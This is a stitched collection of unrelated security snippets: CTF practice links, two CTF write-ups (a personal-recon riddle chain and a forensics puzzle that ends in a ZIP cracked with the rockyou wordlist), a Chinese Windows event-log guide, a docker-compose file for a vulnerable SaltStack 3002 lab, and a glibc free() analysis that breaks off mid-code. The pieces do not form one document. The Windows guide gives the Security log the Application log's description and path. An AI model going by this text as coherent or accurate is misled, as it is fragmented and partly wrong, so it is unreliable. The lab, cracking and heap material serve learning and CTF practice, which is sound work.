<love_my_love@263.net > .SH "[中文版最新更新]" .B 2002.01.27 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) >, < [sjas](https://github.com/sjas) > ---- # CTFS & PentestLab The stronger you want to become, the more exercises you need. # Links 1. https://www.vulnhub.com/ 2. https://www.pentesterlab.com/ 3. http://www.amanhardikar.com/mindmaps/Practice.html 4. http://r-7.co/Metasploitable2
sec-knowleage
## Fuzyll (Recon, 200p) ###ENG [PL](#pl-version) In the task we start off on page http://fuzyll.com/files/csaw2016/start to get a riddle: ``` CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next part is at /csaw2016/<the form of colorblindness I have>. ``` We could check the author twitter and reddit where he writes a bit about which colors he can't see, or we could brute-force this, either way the answer is `deuteranomaly`, and we get to next level. We get a [picture](deuteranomaly.png) and if we look inside with hexeditor we can see another riddle: ``` CSAW 2016 FUZYLL RECON PART 2 OF ?: No, strawberries don't look exactly like this, but it's reasonably close. You know what else I can't see well? /csaw2016/&lt;the first defcon finals challenge i ever scored points ``` We check on author blog and other sources to see which defcons should be consider and there brute-force the task name (good thing Fuzyll actually has nice listings on his github for all Defonc challenge names!), and we get the name `tomato`. This leads to another [file](tomato.bin) which we guess to be `ebdic` encoded, and from it we extract new riddle: ``` CSAW 2016 FUZYLL RECON PART 3 of ?: I don't even like tomatoes] Anyway, outside of CTFs, I've been playing a fair amount of World of WarCraft over the past year (never thought I'd be saying that after Cataclysm, but here we are). The next part is at /csaw2016/<my main WoW character's name>. ``` Quick googling to find Fuzyll's account on some WoW site and we get the name `elmrik`, and we get some custom-made ruby encryption: ```ruby #!/usr/bin/env ruby CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"] def encode(string) input = string.bytes.inject {|x, y| (x << 8) + y } output = "" while input > 0 output = CHARS[input % 52].to_s + output input /= 52 end return output end def decode(input) # your implementation here end message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z" puts decode(message) ``` We first rewrote this code into Python and then prepared decryption code: ```python message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z" CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"] def encrypt(input_data): orded = [ord(c) for c in input_data] print(orded) number = reduce(lambda x, y: (x << 8) + y, orded) output = "" while number > 0: output = CHARS[number % 52] + output number /= 52 return output def decrypt(input_data): number = 0 for c in input_data: number *= 52 number_mod = CHARS.index(c) number += number_mod initial = [] while number > 127: y = number & 127 print(y) initial.insert(0, y) number -= y number >>= 8 initial.insert(0, number) return "".join([chr(c) for c in initial]) print(decrypt(message)) ``` As a result we get: ``` CSAW 2016 FUZYLL RECON PART 4 OF ?: In addition to WoW raiding, I've also been playing a bunch of Smash Bros. This year, I competed in my first major tournament! I got wrecked in every event I competed in, but I still had fun being in the crowd. This tournament in particular had a number of upsets (including Ally being knocked into losers of my Smash 4 pool). On stream, after one of these big upsets in Smash 4, you can see me in the crowd with a shirt displaying my main character! The next part is at /csaw2016/<the winning player's tag>. ``` This was by far the hardest part! Since we were too lazy to watch some random streams, we used a brute-force approach. First we pinpointed a tournaments where Ally went into losers and then we checked if Fuzyll was on players list. This lead to CEO 2016 tournament. Then we simply scrapped all players form the tournament webpage and wrote a script to brute-force check all 1000 player names. It turned out to be `jade` so we got the next [file](jade.jpg) with a riddle. We extract the riddle agian with hexeditor: ``` CSAW 2016 FUZYLL RECON PART 5 OF 6: I haven't spent the entire year playing video games, though. This past March, I spent time completely away from computers in Peru. This shot is from one of the more memorable stops along my hike to Machu Picchu. To make things easier on you, use only ASCII: /csaw2016/<the name of these ruins> ``` A bit of googling and reverse image search gives us the name `Winay Wayna` and the page gives us the flag: `flag{WH4T_4_L0NG_4ND_STR4NG3_TRIP_IT_H45_B33N}` ###PL version Zadanie zaczynamy na stronie http://fuzyll.com/files/csaw2016/start żeby dostać zagadkę: ``` CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next part is at /csaw2016/<the form of colorblindness I have>. ``` Można poczytać twittera autora oraz jego komentarze na reddicie gdzie wspomina o tym których kolorów nie widzi, lub zwyczajnie tesutjemy wszystkie możliwości, tak czy siak odpowiedź to `deuteranomaly` i rozpoczynami kolejny poziom. Dostajemy [obrazek](deuteranomaly.png) i jeśli popatrzymy do środka hexedytorem widzimy nową zagadkę: ``` CSAW 2016 FUZYLL RECON PART 2 OF ?: No, strawberries don't look exactly like this, but it's reasonably close. You know what else I can't see well? /csaw2016/&lt;the first defcon finals challenge i ever scored points ``` Po sprawdzeniu bloga autora i kilku innych źródeł wiemy które defcony można brać pod uwagę a następnie za pomocą brute-force testujemy nazwy zadań (Fuzyll na swoim githubie ma listę wszystkich defonowych zadań!) i dostajemy odpowiedź `tomato`. To prowadzi do kolejnego [pliku](tomato.bin) o którym zgadujemy że jest kodowany jako `ebdic` i wyciągamy z niego nową zagadke: ``` CSAW 2016 FUZYLL RECON PART 3 of ?: I don't even like tomatoes] Anyway, outside of CTFs, I've been playing a fair amount of World of WarCraft over the past year (never thought I'd be saying that after Cataclysm, but here we are). The next part is at /csaw2016/<my main WoW character's name>. ``` Szybki rzut oka w google szukając konta Fuzyll na stronach dotyczących WoWa i dostajemy nazę `elmrik` i dostajemy zaszyfrowaną zagadkę: ```ruby #!/usr/bin/env ruby CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"] def encode(string) input = string.bytes.inject {|x, y| (x << 8) + y } output = "" while input > 0 output = CHARS[input % 52].to_s + output input /= 52 end return output end def decode(input) # your implementation here end message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z" puts decode(message) ``` Najpierw przepisalismy kod do pythona a następnie przygotowaliśmy kod deszyfrujący: ```python message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z" CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"] def encrypt(input_data): orded = [ord(c) for c in input_data] print(orded) number = reduce(lambda x, y: (x << 8) + y, orded) output = "" while number > 0: output = CHARS[number % 52] + output number /= 52 return output def decrypt(input_data): number = 0 for c in input_data: number *= 52 number_mod = CHARS.index(c) number += number_mod initial = [] while number > 127: y = number & 127 print(y) initial.insert(0, y) number -= y number >>= 8 initial.insert(0, number) return "".join([chr(c) for c in initial]) print(decrypt(message)) ``` W wyniku dostajemy: ``` CSAW 2016 FUZYLL RECON PART 4 OF ?: In addition to WoW raiding, I've also been playing a bunch of Smash Bros. This year, I competed in my first major tournament! I got wrecked in every event I competed in, but I still had fun being in the crowd. This tournament in particular had a number of upsets (including Ally being knocked into losers of my Smash 4 pool). On stream, after one of these big upsets in Smash 4, you can see me in the crowd with a shirt displaying my main character! The next part is at /csaw2016/<the winning player's tag>. ``` To była najtrudniejsza część! Jesteśmy zbyt leniwi żeby oglądać jakieś streamy, więc stosujemy podejście brute-force. Najpierw odszukaliśmy tegoroczne zawody gdzie Ally wypadł do drabinki przegranych a potem sprawdziliśmy gdzie grał Fuzyll. W ten sposób trafilismy na CEO 2016. Następnie po prostu pobraliśmy listę wszystkich graczy ze strony zawodów i napisaliśmy skrypt który sprawdził każdego z 1000 graczy. Graczem okazał sie `jade` a my dostaliśmy nowy [plik](jade.jpg) z zagadką. Zagadkę wyciągamy znów hexedytorem: ``` CSAW 2016 FUZYLL RECON PART 5 OF 6: I haven't spent the entire year playing video games, though. This past March, I spent time completely away from computers in Peru. This shot is from one of the more memorable stops along my hike to Machu Picchu. To make things easier on you, use only ASCII: /csaw2016/<the name of these ruins> ``` Chwila googlowania i reverse image search daje name nazwe `Winay Wayna` a strona daje flagę: `flag{WH4T_4_L0NG_4ND_STR4NG3_TRIP_IT_H45_B33N}`
sec-knowleage
# 日志 <p align="center"> <img src="../../../../assets/img/banner/windows日志.png" width="90%"> </p> --- ## 前言 在 windows 系统的运行过程中会不断记录日志信息,根据种类可以分为windows日志(事件日志)、应用程序及服务日志,这些日志信息在取证和溯源中非常重要。 **审核策略** Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。 开始 --> 管理工具 --> 本地安全策略 --> 本地策略 --> 审核策略 **事件查看** 开始-运行,输入 `eventvwr.msc` 打开事件查看器,查看日志 可以看到,事件查看器将日志分成了2大类,windows日志、应用程序和服务日志,windows日志中又有应用程序、安全、setup、系统、forwarded event这几种事件类型。 --- ## 事件日志 Windows事件日志文件实际上是以特定的数据结构的方式存储内容,其中包括有关系统,安全,应用程序的记录。每个记录事件的数据结构中包含了9个元素(可以理解成数据库中的字段):日期/时间、事件类型、用户、计算机、事件 ID、来源、类别、描述、数据等信息。运维人员可以根据日志取证,了解计算机所发生的具体行为。 --- ### 事件级别 在事件日志中有5个事件级别。 * 信息 信息事件指应用程序、驱动程序或服务的成功操作的事件。 * 警告 警告事件指不是直接的、主要的,但是会导致将来发生问题的事件。例如,当磁盘空间不足或未找到打印机时,都会记录一个“警告”事件。 * 错误 错误事件指用户须知道的重要的问题,通常包括功能和数据的丢失。例如,如果一个服务不能作为系统引导被加载,那么它将会产生一个错误事件。 * 成功审核 成功的审核安全访问尝试,主要是指安全性日志,这里记录着用户登录/注销、对象访问、特权使用、账户管理、策略更改、详细跟踪、目录服务访问、账户登录等事件,例如所有的成功登录系统都会被记录为“ 成功审核”事件。 * 失败审核 失败的审核安全登录尝试,例如用户试图访问网络驱动器失败,则该尝试会被作为失败审核事件记录下来。 --- ### 事件ID Windows事件日志中记录的信息中,关键的要素包含事件级别、记录时间、事件来源、事件ID、事件描述、涉及的用户、计算机、操作代码及任务类别等。 Windows 的日志以事件 id 来标识具体发生的动作行为,可通过下列网站查询具体 id 对应的操作 - https://docs.microsoft.com/en-us/windows/security/threat-protection/ 直接搜索 event + 相应的事件id 即可 - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx?i=j |事件 ID | 说明 | | - | - | | 1102 | 清理审计日志 | | 4624 | 账号成功登录 | | 4625 | 账号登录失败 | | 4768 | Kerberos 身份验证(TGT 请求) | | 4769 | Kerberos 服务票证请求 | | 4776 | NTLM 身份验证 | | 4672 | 授予特殊权限 | | 4720 | 创建用户 | | 4726 | 删除用户 | | 4728 | 将成员添加到启用安全的全局组中 | | 4729 | 将成员从安全的全局组中移除 | | 4732 | 将成员添加到启用安全的本地组中 | | 4733 | 将成员从启用安全的本地组中移除 | | 4756 | 将成员添加到启用安全的通用组中 | | 4757 | 将成员从启用安全的通用组中移除 | | 4719 | 系统审计策略修改 | 每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式: | 登录类型 | 描述 | 说明 | | :------- | ------------------------------- | ------------------------------------------------ | | 2 | 交互式登录(Interactive) | 用户在本地进行登录。 | | 3 | 网络(Network) | 最常见的情况就是连接到共享文件夹或共享打印机时。 | | 4 | 批处理(Batch) | 批处理(为批处理程序保留) | | 5 | 服务(Service) | 服务启动(服务登录) | | 7 | 解锁(Unlock) | 屏保解锁。 | | 8 | 网络明文(NetworkCleartext) | 登录的密码在网络上是通过明文传输的,如FTP、IIS登录验证。 | | 9 | 新凭证(NewCredentials) | 使用带/Netonly参数的RUNAS命令运行一个程序。 | | 10 | 远程交互,(RemoteInteractive) | 通过终端服务、远程桌面或远程协助访问计算机。 | | 11 | 缓存交互(CachedInteractive) | 缓存域证书登录 | 案例:查看系统账号登录情况 1. 开始-运行,输入 `eventvwr.msc` 2. 在事件查看器中,`Windows日志` --> `安全`,查看安全日志; 3. 在安全日志右侧操作中,点击 `筛选当前日志` ,输入事件 ID 进行筛选。 - 4624 --登录成功 - 4625 --登录失败 - 4634 -- 注销成功 - 4647 -- 用户启动的注销 - 4672 -- 使用超级用户(如管理员)进行登录 4. 输入事件 ID:4625 进行日志筛选,发现事件 ID:4625,事件数 175904,即用户登录失败了 175904 次,那么这台服务器管理员账号可能遭遇了暴力猜解。 案例:查看计算机开关机的记录 1. 开始-运行,输入 `eventvwr.msc` 2. 在事件查看器中,`Windows日志` --> `系统`,查看系统日志; 3. 在系统日志右侧操作中,点击 `筛选当前日志` ,输入事件 ID 进行筛选。其中事件 ID 6006 ID6005、 ID 6009 就表示不同状态的机器的情况(开关机)。 - 6005 信息 EventLog 事件日志服务已启动。(开机) - 6006 信息 EventLog 事件日志服务已停止。(关机) - 6009 信息 EventLog 按ctrl、alt、delete键(非正常)关机 4. 输入事件 ID:6005-6006进行日志筛选,发现了两条在 2018/7/6 17:53:51 左右的记录,也就是我刚才对系统进行重启的时间。 --- ### windows日志类型 系统内置的三个核心日志文件(System,Security和Application)默认大小均为 20480KB(20MB),记录事件数据超过 20MB 时,默认系统将优先覆盖过期的日志记录。其它应用程序及服务日志默认最大为 1024KB,超过最大限制也优先覆盖过期的日志记录。 * 应用程序 包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于问题的解决。 默认位置: `%SystemRoot%\System32\Winevt\Logs\Application.evtx` * 系统 记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。 默认位置: `%SystemRoot%\System32\Winevt\Logs\System.evtx` * 安全 包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。 默认位置: `%SystemRoot%\System32\Winevt\Logs\Application.evtx` * 转发事件 日志用于存储从远程计算机收集的事件。若要从远程计算机收集事件,必须创建事件订阅。 默认位置: `%SystemRoot%\System32\Winevt\Logs\ForwardedEvents.evtx` --- ### 应用程序及服务日志 * Internet Explorer IE浏览器应用程序的日志信息,默认未启用,需要通过组策略进行配置。 默认位置: `Internet Explorer.evtx` * Microsoft Microsoft文件夹下包含了200多个微软内置的事件日志分类,只有部分类型默认启用记录功能,如远程桌面客户端连接、无线网络、有线网路、设备安装等相关日志。 默认位置: `详见日志存储目录对应文件` * Microsoft Office Alerts 微软Office应用程序(包括Word/Excel/PowerPoint等)的各种警告信息,其中包含用户对文档操作过程中出现的各种行为,记录有文件名、路径等信息。 默认位置: `OAerts.evtx` * Windows PowerShell Windows自带的PowerShell应用的日志信息。 默认位置: `Windows PowerShell.evtx` --- ### 日志文件格式 系统事件日志主要保存的类型为:`*.evtx`,`*.xml`,`*.txt`,`*.csv`。对于后三种文件格式已经比较了解,现在分析下 evtx 后缀额格式。事件日志(evtx)文件是一种二进制格式的文件。 --- ## Source & Reference - [闲聊Windows系统日志](ttps://www.freebuf.com/vuls/175560.html) - [Window日志分析](ttps://www.cnblogs.com/xiaozi/p/9192736.html)
sec-knowleage
# Ghost in the flash (forensics/stegano, 4 solved, 416p) ``` Alice sent Bob a package with a flash drive. Bob thinks there is a message hidden on it but he couldn't find it. The only clue is the mysterious inscription on the envelope: "Hear the voice of the future and remember: there are shadows because there are hills." Help Bob read the message! ``` We didn't manage to solve this task, but we got pretty far ahead, and it was fun, so we will share what we managed to find. In the task you get a large flashdrive dump. Apart from some random garbage-overwritten files there are 2 files of interest. First one seems to be a red-herring plng file: ![](herring.png) However it actually hints at a certain thing at later stage. The second thing we can find on the drive is a video, pretty much this one: https://www.youtube.com/watch?v=gXTnl1FVFBw The interesting thing about the video was the fact that the length was over 1h, instead of slighly over 8 minutes. Upon further inspection we found out that there are 2 audio tracks in the video. First one is the original one, as far as we could tell, but the other one was over 1h long beeps. We had to extract the sound file for further analysis. Doing this requires two steps: First, we had to find track numbers in the MKV file: ``` $ mkvinfo /media/GHOST_FLASH/Ghost_In_The_Shell_-_ Identity_in_Space.mkv [...] | + Track | + Track number: 3 (track ID for mkvmerge & mkvextract: 2) | + Track UID: 3 | + Lacing flag: 0 | + Language: und | + Default track flag: 0 | + Codec ID: A_PCM/INT/LIT | + Track type: audio | + Audio track | + Channels: 1 | + Sampling frequency: 2000 | + Bit depth: 16 [...] ``` And then use the `mkvextract` to export the track: ``` $ mkvextract /media/GHOST_FLASH/Ghost_In_The_Shell_-_\ Identity_in_Space.mkv tracks 2:./track_2.wav ``` Once you look into [second track](track_2.wav) with Audacity you can see an interesting regularity in the wave shape: ![](shape.png) The entire file consists of either 1 or 3 sinusoids, and there is a long or short gap between them. Our best guess was Morse code, and we were right. Once you decode the Morse, you get a nice base32 string, which in turn decodes to another png file: ![](img.png) In the background of this picture you can see a shade of QR code, and if you extract red/blue/green plane 3 using stegsolve, you can clearly see the QR code. It's broken, but you can just draw the missing anchor points and timings and you get: ![](qr.png) This scans to a base64 encoded string: ``` UEsDBDMAAQBjAAUcrUwAAAAAzgAAANoAAAASAAsAYW5vdGhlcl9jYXN0bGUudHh0AZkHAAIAQUUDDADtiBBDwn9aPh4PGNA5rPdc/hzpopn5YZ9wTG/+H1D/9PBlIYqQWVHs5DgCtgBVTsDIpK73Lw3QhJygDbqd0pkXPTjxKS7Vo8vUuIMyQddXnxFBe31X4dhRW+rIqQANSS24UtXsMYryWVCVBT+0A5qrfv87f+6afcN+zpmtLdlJ9Kep1ps7TfBEFSwyuVXxJjfYMwc27e4S+EoGkDjoSxc/32B9QG74mylR6bhyLJ/wexxSfBGXEL1V7bE+DccMGrBpdzZ6S+QLTWhf0tIuzVBLAQI/ADMAAQBjAAUcrUwAAAAAzgAAANoAAAASAC8AAAAAAAAAICAAAAAAAABhbm90aGVyX2Nhc3RsZS50eHQKACAAAAAAAAEAGAAF64PTUerTAede9Vk+6tMB5171WT7q0wEBmQcAAgBBRQMMAFBLBQYAAAAAAQABAG8AAAAJAQAAAAA= ``` Which is an encrypted ZIP with `another_castle.txt` file inside. We cracked the password using rockyou database and with `Sector9` password we extracted the contents: ``` 7h47'5_411_i7_i5:_inf0rm47i0n._3v3n_4_5imu1473d_3xp3ri3nc3_0r_4_dr34m;_5imu174n30u5_r341i7y_4nd_f4n745y._4ny_w4y_y0u_100k_47_i7,_411_7h3_inf0rm47i0n_7h47_4_p3r50n_4ccumu14735_in_4_1if37im3_i5_ju57_4_dr0p_in_7h3_buck37. ``` And this is as far as we managed to get.
sec-knowleage
version: '2' services: saltstack: image: vulhub/saltstack:3002 ports: - "8000:8000" - "4505:4505" - "4506:4506" - "2222:22"
sec-knowleage
### 释放内存块关于__libc_free 类似于 malloc,free 函数也有一层封装,命名格式与 malloc 基本类似。代码如下 ```c++ void __libc_free(void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ // 判断是否有钩子函数 __free_hook void (*hook)(void *, const void *) = atomic_forced_read(__free_hook); if (__builtin_expect(hook != NULL, 0)) { (*hook)(mem, RETURN_ADDRESS(0)); return; } // free NULL没有作用 if (mem == 0) /* free(0) has no effect */ return; // 将mem转换为chunk状态 p = mem2chunk(mem); // 如果该块内存是mmap得到的 if (chunk_is_mmapped(p)) /* release mmapped memory. */ { /* See if the dynamic brk/mmap threshold needs adjusting. Dumped fake mmapped chunks do not affect the threshold. */ if (!mp_.no_dyn_threshold && chunksize_nomask(p) > mp_.mmap_threshold && chunksize_nomask(p) <= DEFAULT_MMAP_THRESHOLD_MAX && !DUMPED_MAIN_ARENA_CHUNK(p)) { mp_.mmap_threshold = chunksize(p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk(p); return; } // 根据chunk获得分配区的指针 ar_ptr = arena_for_chunk(p); // 执行释放 _int_free(ar_ptr, p, 0); } ``` ### 释放内存块关于_int_free 函数初始时刻定义了一系列的变量,并且得到了用户想要释放的 chunk 的大小 ```c++ static void _int_free(mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size; /* its size */ mfastbinptr * fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ const char *errstr = NULL; int locked = 0; size = chunksize(p); ``` ### 释放内存块简单的检查 ```c++ /* Little security check which won't hurt performance: the allocator never wrapps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by "design" from some intruder. */ // 指针不能指向非法的地址, 必须小于等于-size,为什么??? // 指针必须得对齐,2*SIZE_SZ 这个对齐得仔细想想 if (__builtin_expect((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect(misaligned_chunk(p), 0)) { errstr = "free(): invalid pointer"; errout: if (!have_lock && locked) __libc_lock_unlock(av->mutex); malloc_printerr(check_action, errstr, chunk2mem(p), av); return; } /* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. */ // 大小没有最小的chunk大,或者说,大小不是MALLOC_ALIGNMENT的整数倍 if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size))) { errstr = "free(): invalid size"; goto errout; } // 检查该chunk是否处于使用状态,非调试状态下没有作用 check_inuse_chunk(av, p); ``` 其中 ```c /* Check if m has acceptable alignment */ #define aligned_OK(m) (((unsigned long) (m) &MALLOC_ALIGN_MASK) == 0) #define misaligned_chunk(p) \ ((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem(p)) & \ MALLOC_ALIGN_MASK) ``` ### 释放内存块关于fast bin 如果上述检查都合格的话,判断当前的 bin 是不是在 fast bin 范围内,在的话就插入到 **fastbin 头部**,即成为对应 fastbin 链表的**第一个 free chunk**。 ```c++ /* If eligible, place chunk on a fastbin so it can be found and used quickly in malloc. */ if ((unsigned long) (size) <= (unsigned long) (get_max_fast()) #if TRIM_FASTBINS /* If TRIM_FASTBINS set, don't place chunks bordering top into fastbins */ //默认 #define TRIM_FASTBINS 0,因此默认情况下下面的语句不会执行 // 如果当前chunk是fast chunk,并且下一个chunk是top chunk,则不能插入 && (chunk_at_offset(p, size) != av->top) #endif ) { // 下一个chunk的大小不能小于两倍的SIZE_SZ,并且 // 下一个chunk的大小不能大于system_mem, 一般为132k // 如果出现这样的情况,就报错。 if (__builtin_expect( chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ, 0) || __builtin_expect( chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0)) { /* We might not have a lock at this point and concurrent modifications of system_mem might have let to a false positive. Redo the test after getting the lock. */ if (have_lock || ({ assert(locked == 0); __libc_lock_lock(av->mutex); locked = 1; chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem; })) { errstr = "free(): invalid next size (fast)"; goto errout; } if 